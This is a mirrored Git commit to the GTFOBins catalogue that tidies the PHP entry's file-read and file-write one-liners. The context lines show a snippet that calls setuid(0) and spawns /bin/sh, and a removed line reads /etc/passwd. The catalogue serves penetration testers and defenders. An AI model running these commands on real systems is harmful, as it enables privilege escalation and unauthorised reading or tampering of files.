mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Polish and simplify php file-read/write
This commit is contained in:
parent
6ba729e1de
commit
7e1ac22fa0
@ -51,11 +51,12 @@ functions:
|
|||||||
CMD="/bin/sh"
|
CMD="/bin/sh"
|
||||||
./php -r "posix_setuid(0); system('$CMD');"
|
./php -r "posix_setuid(0); system('$CMD');"
|
||||||
file-read:
|
file-read:
|
||||||
- description: read file and output it on screen.
|
- code: |
|
||||||
code: |
|
export LFILE=file_to_read
|
||||||
php -r 'readfile("/etc/passwd");'
|
php -r 'readfile(getenv("LFILE"));'
|
||||||
file-write:
|
file-write:
|
||||||
- description: write data to a file, filename should be absolute.
|
- description: write data to a file, filename should be absolute.
|
||||||
code: |
|
code: |
|
||||||
php -r '$write = fopen("/home/FILE-TO-WRITE.txt", "w");$input = " DATA TO WRITE (Plzsub) ";fwrite($write, $input);fclose($write);'
|
export LFILE=file_to_write
|
||||||
|
php -r 'file_put_contents(getenv("LFILE"), "DATA");'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user